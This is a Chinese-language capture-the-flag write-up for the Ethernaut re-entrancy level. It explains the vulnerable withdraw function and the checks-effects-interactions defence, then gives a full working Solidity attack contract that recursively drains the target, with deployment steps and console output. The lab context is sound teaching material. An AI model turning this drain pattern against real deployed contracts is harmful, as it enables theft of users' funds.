這關的核心旨在揭示 Solidity 中最惡名昭彰的漏洞之一:重入攻擊(Re-entrancy)。歷史上著名的 The DAO 事件就是因為這個漏洞,導致價值數千萬美元的以太幣被駭客盜走,甚至直接導致了以太坊的硬分叉(Ethereum 與 Ethereum Classic 的誕生)。
許多開發者在撰寫合約時,習慣依照直覺「先發送資金,再更新餘額」。但實際上,在呼叫外部合約發送資金時,程式的控制權會暫時轉移給對方。這道題目帶給開發者最重要的資安教訓是,在處理以太幣轉帳時,必須嚴格遵守「檢查-生效-互動(Checks-Effects-Interactions)」模式(即先扣除餘額,最後再發送資金),或是使用防重入鎖(ReentrancyGuard)來防禦此類攻擊。
題目位置:https://ethernaut.openzeppelin.com/level/10
題目說明
這關會給你一個名為 Reentrance 的智能合約實例,這是一個簡單的捐款平台,允許使用者捐款與提款。玩家的唯一目標是:利用漏洞,將合約裡所有的資金(以太幣)全部偷走,讓合約餘額歸零。合約內容如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import "openzeppelin-contracts-06/math/SafeMath.sol";
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint256) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint256 balance) {
return balances[_who];
}
function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value: _amount}("");
if (result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
代碼解說
狀態變數
mapping(address => uint256) public balances;:宣告一個映射(mapping),用來記錄每一個地址在這個合約裡存了(或捐了)多少錢。
捐款與查詢函數
function donate(address _to) public payable:這是一個允許接收以太幣(payable)的公開方法,呼叫時附帶的金額會被加到_to這個地址的餘額紀錄中。function balanceOf(address _who) public view returns (uint256 balance):用來查詢某個特定地址目前在合約中的餘額。
提款函數
function withdraw(uint256 _amount) public:允許使用者提領自己帳戶內的資金。if (balances[msg.sender] >= _amount):首先,合約會檢查提款人(msg.sender)帳面上的餘額是否大於或等於想要提領的金額。(bool result,) = msg.sender.call{value: _amount}("");:這是合約中最危險的一行。合約使用底層的call方法,將指定金額的以太幣發送給呼叫者。(bool result,):前面是布林值 (Boolean):如果轉帳成功就是true,如果對方拒絕接收或發生錯誤就是false,我們把它命名為result。逗號後面是位元組資料,如果對方有回傳任何錯誤訊息或資料,會放在這裡,但因為是空的,這代表開發者告訴系統,不管對方回傳了什麼資料,都直接丟掉。msg.sender:代表呼叫這個函數的人 。.call:這是 Solidity 的「低階呼叫」指令。它可以對目標發出指令,或單純用來轉帳。{value: _amount}:大括號裡面放的是這筆交易要夾帶的以太幣數量。(""):小括號裡面放的是要呼叫的「函數名稱(Data Payload)」。因為這裡是空字串"",代表「我沒有要呼叫任何特定函數,我只是要單純塞錢給你」。
if (result) { _amount; }:如果剛剛的轉帳成功了(result == true),繼續執行大括號{ ... }裡面的動作,但_amount是無效程式碼,主要是為了避開一些檢查,可以不管他。balances[msg.sender] -= _amount;:在成功發送資金之後,合約才將提款人的帳面餘額扣除。
合約互動
在chrome的Tools > Developer Tools可以直接和智能合約互動,如下
查詢donate狀況
> await getBalance(instance)
'0.001'
donate 0.001, 可以發現存款變多
> await contract.donate(player, { value: toWei("0.001") })
> await getBalance(instance)
'0.002'
漏洞分析
在 Solidity 中,當合約透過 call 發送以太幣給另一個智能合約時,接收方合約的 receive() 或 fallback() 函數會被自動觸發執行。
在這個 Reentrance 合約的 withdraw 函數中,致命傷在於它「先發送資金,後扣除餘額」。 這意味著,如果攻擊者(駭客)撰寫一個惡意合約去呼叫 withdraw(),當靶機合約執行 call 轉帳給惡意合約時,惡意合約的 receive() 函數會被觸發。此時,因為靶機合約還沒執行到 balances[msg.sender] -= _amount; 這行扣款邏輯,所以在靶機的帳本裡,攻擊者的餘額依舊是滿的。
攻擊者只要在自己的 receive() 函數中,再次呼叫靶機的 withdraw() 函數,就會造成「重入(Re-entrancy)」。這個過程會像無限迴圈一樣,不斷地「轉帳 -> 觸發惡意合約 ->再次要求提款 -> 再次轉帳」,直到靶機合約裡的資金被完全榨乾為止。
解答步驟
這關無法單純靠網頁控制台完成,需要撰寫並部署一個惡意合約來進行攻擊。
1. 準備攻擊合約 :
新建一個名為 Attack.sol 的檔案,貼上以下程式碼:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IReentrance {
function donate(address _to) external payable;
function withdraw(uint _amount) external;
}
contract Attack {
IReentrance public target;
uint public amount = 0.001 ether;
constructor(address _targetAddress) {
target = IReentrance(_targetAddress);
}
function attack() external payable {
require(msg.value >= amount, "Need some ETH");
target.donate{value: amount}(address(this));
target.withdraw(amount);
}
receive() external payable {
uint targetBalance = address(target).balance;
if (targetBalance > 0) {
target.withdraw(amount <= targetBalance ? amount : targetBalance);
}
}
}
2.代碼解說
介面與變數 (Interface & Variables)
interface IReentrance {
function donate(address _to) external payable;
function withdraw(uint _amount) external;
}
interface(介面):這是靶機的說明書。因為你的攻擊合約原本不認識靶機,透過定義介面,攻擊合約才知道靶機身上有donate和withdraw這兩個按鈕可以按,以及呼叫它們時需要帶入什麼參數。
IReentrance public target;
uint public amount = 0.001 ether;
constructor(address _targetAddress) {
target = IReentrance(_targetAddress);
}
target:用來儲存靶機的地址,並將其包裝成上面定義的IReentrance介面,方便後續直接呼叫。amount:設定每次抽水的「管徑」。設定為 0.001 ETH 是因為靶機預設裡面有 0.001 ETH,加上你攻擊時帶入的 0.001 ETH,總共 0.002 ETH,每次抽 0.001 剛好可以觸發多次迴圈。constructor:在你按下 Remix 的 Deploy 時執行,把靶機的實例地址綁定到合約上。
點火開關:attack() 函數
function attack() external payable {
require(msg.value >= amount, "Need some ETH");
target.donate{value: amount}(address(this));
target.withdraw(amount);
}
require:安全檢查,確保你按attack時, Value 欄位大於 0.001 ETH 當作子彈。target.donate...:攻擊合約帶著這 0.001 ETH 呼叫靶機的donate。靶機會在它的帳本上記錄:balances[攻擊合約] = 0.001 ETH。有了這筆帳面餘額,才能騙過靶機的提款檢查。target.withdraw(amount):立刻向靶機要求提款 0.001 ETH。這會觸發靶機把錢轉給我們。
無窮迴圈陷阱:receive() 函數
這是重入攻擊的真正核心。這是一個特殊的內建函數,當任何人(包含靶機)單純轉帳 ETH 給這個合約時,這個函數就會被「自動觸發」。
receive() external payable {
uint targetBalance = address(target).balance;
if (targetBalance > 0) {
target.withdraw(amount <= targetBalance ? amount : targetBalance);
}
}
- 觸發時機:當靶機在回應上面的
target.withdraw,並使用.call{value: 0.001 ether}("")把錢發送給你的合約時,這段程式碼會瞬間介入接管控制權。 targetBalance:攻擊合約先偷看一下靶機的金庫裡還剩多少錢。if (targetBalance > 0):只要靶機還沒被抽乾,就繼續攻擊。- 再次呼叫
target.withdraw(...):這是最致命的一擊。因為靶機還沒執行到「扣除我們帳面餘額」的程式碼(靶機卡在發送 ETH 那一步),所以當我們第二次要求提款時,靶機依然以為我們有 0.001 ETH 的額度,於是又傻傻地把錢轉過來。 - 三元運算子
? ::這是一個防呆機制。意思是「如果靶機餘額大於等於 0.001,就提款 0.001;如果靶機餘額剩下不到 0.001(例如剩 0.0005),那就把剩下的零頭全部提光」。這能防止最後一次提款因為金額不足而導致整筆交易失敗 (Revert)。
完整攻擊合約流程
這段攻擊在區塊鏈上是在零點幾秒內的一筆交易中瞬間完成的:
- 你呼叫
attack()-> 捐款 0.001 -> 要求提款 0.001。 - 靶機檢查你有餘額 -> 轉出 0.001 給你。
- 你的
receive()被觸發 -> 發現靶機還有錢 -> 再次要求提款 0.001。 - 靶機(還沒扣除你的餘額)檢查發現你還有餘額 -> 又轉出 0.001 給你。
- 你的
receive()再次被觸發 -> 再次要求提款 0.001。 - 靶機不斷轉錢,直到金庫歸零。
- 惡意合約的
if (targetBalance > 0)條件不成立,停止迴圈。 - 靶機這才慢吞吞地開始執行它程式碼後面的
balances -= _amount,但金庫早就已經被你掏空了。
3. 部署惡意合約並執行攻擊
- 在 Remix 左側的 Deploy 頁籤中,環境(Environment)選擇 Injected Provider – MetaMask。
- 在 Deploy 欄位旁傳入你剛剛在控制台取得的靶機合約地址(instance的地址),點擊 Deploy 部署惡意合約。部署完成後,假設佈署完的攻擊合約為
0x4c9c7ad14dD32C56202e7d7A98c2cdf7520d8583 - 在執行函數的地方,把Value 欄位設定為
1Finney(等同於 0.001 Ether,這是我們發動攻擊需要的初始資金),觸發 attack 函數 ,惡意合約會在一瞬間透過遞迴的方式把靶機抽乾。
檢查結果
回到瀏覽器開發者控制台,再次檢查餘額己歸0,查看攻擊合約發現拿到所有的donate為 0.03, 如下
> await getBalance(instance)
"0"
>await getBalance("0x4c9c7ad14dD32C56202e7d7A98c2cdf7520d8583");
'0.003'
此時點擊網頁上的 Submit instance 即可通關
Sepolia區塊鏈瀏覽器的記錄
Re-entrancy的動作在一般的 Transactions 頁籤裡找不到合約之間的轉帳紀錄,但可以在 Internal Txns(內部交易)找到,可以看到智能合約呼叫另一個智能合約所產生的資金流動。可以看到一長串極度密集的轉帳紀錄,重現重入攻擊軌跡:
- Out (轉出):你的 Attack 合約轉了 0.001 ETH 給靶機(這是
target.donate佈下誘餌的動作)。 - In (轉入):靶機轉了 0.001 ETH 給你的 Attack 合約(這是第一次
withdraw)。 - In (轉入):靶機又轉了 0.001 ETH 給你(第一次重入)。
- In (轉入):靶機最後把剩下的 0.001 ETH 轉給你(第二次重入,榨乾)。
記錄可參考 https://sepolia.etherscan.io/tx/0x50bc4396e968bb390f8c3d6767daf8a7b2911339267322524832bd2262661263#internal